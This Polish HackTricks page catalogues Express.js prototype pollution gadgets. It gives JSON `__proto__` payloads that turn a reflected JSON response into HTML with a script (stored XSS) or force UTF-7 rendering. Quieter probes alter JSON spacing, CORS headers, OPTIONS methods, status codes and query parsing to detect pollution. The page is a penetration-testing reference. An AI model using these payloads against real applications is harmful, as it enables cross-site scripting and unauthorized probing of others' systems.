Express Prototype Pollution Gadgets

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

WhiteIntel to wyszukiwarka zasilana przez dark web, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


Serwowanie odpowiedzi XSS

Aby uzyskać więcej informacji zapoznaj się z oryginalnym badaniem

Zmień typ zawartości JSON na HTML

W aplikacji Express używającej odpowiedzi z typem zawartości JSON i odzwierciedlającą JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

W tych przypadkach XSS zwykle nie jest możliwe przy użyciu typu zawartości JSON. Jednakże, dzięki zanieczyszczeniu prototypu możemy wprowadzić w błąd Express, aby zwrócił odpowiedź w formacie HTML. Ta podatność polega na tym, że aplikacja używa res.send(obj) i korzysta z analizatora treści z typem zawartości application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Poprzez zanieczyszczanie właściwości body i _body, można spowodować, że Express będzie serwował zawartość typu HTML i odzwierciedlał właściwość _body, co skutkuje przechowywaniem XSS.

Renderowanie UTF7

Możliwe jest sprawienie, aby express renderował zawartość UTF-7 za pomocą:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Bezpieczne techniki skanowania

Przestrzenie JSON

Następujący PP spowoduje, że atrybuty wewnątrz obiektu JSON będą miały dodatkową spację, która nie zepsuje funkcjonalności:

{"__proto__":{"json spaces": " "}}

Następnie odbite JSON będzie wyglądać tak:

{"foo":  "bar"} -- Note the extra space

Ujawnione Nagłówki

Następny gadżet PP sprawi, że serwer wyśle z powrotem nagłówek HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Wymaga zainstalowania modułu CORS

Metoda OPTIONS

Z następującym ładunkiem, jest możliwe ukrycie metody w odpowiedzi OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Możliwe jest zmiana zwróconego kodu stanu za pomocą następującego ładunku PP:

{"__proto__":{"status":510}}

Błąd

Gdy przypiszesz prototypowi wartość pierwotną, taką jak ciąg znaków, powstaje operacja no-op, ponieważ prototyp musi być obiektem. Jeśli spróbujesz przypisać obiekt prototypu do samego Object.prototype, to spowoduje to wygenerowanie wyjątku. Możemy wykorzystać te dwa zachowania do wykrycia, czy zanieczyszczenie prototypu zakończyło się sukcesem:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Odbita Wartość

Gdy aplikacja zawiera obiekt w odpowiedzi, stworzenie atrybutu z niezwykłą nazwą obok __proto__ może być pouczające. W szczególności, jeśli w odpowiedzi zwracany jest tylko niezwykły atrybut, może to wskazywać na podatność aplikacji:

{"unusualName":"value","__proto__":"test"}

Ponadto, w scenariuszach, w których używana jest biblioteka tak jak Lodash, ustawienie właściwości zarówno poprzez zanieczyszczenie prototypu (PP), jak i bezpośrednio wewnątrz obiektu oferuje kolejne podejście diagnostyczne. Jeśli taka właściwość zostanie pominięta z odpowiedzi, sugeruje to, że Lodash sprawdza istnienie właściwości w docelowym obiekcie przed scaleniem:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Różne

Zezwól na kropki

Istnieje opcja w Express, która pozwala tworzyć obiekty z parametrów ciągu zapytania. Zdecydowanie można jej użyć w łańcuchu błędów do wykorzystania podatności na zanieczyszczenie prototypu.

{"__proto__":{"allowDots":true}}

?foo.bar=baz tworzy obiekt w Node.

Odnośniki

WhiteIntel to wyszukiwarka zasilana dark-webem, która oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated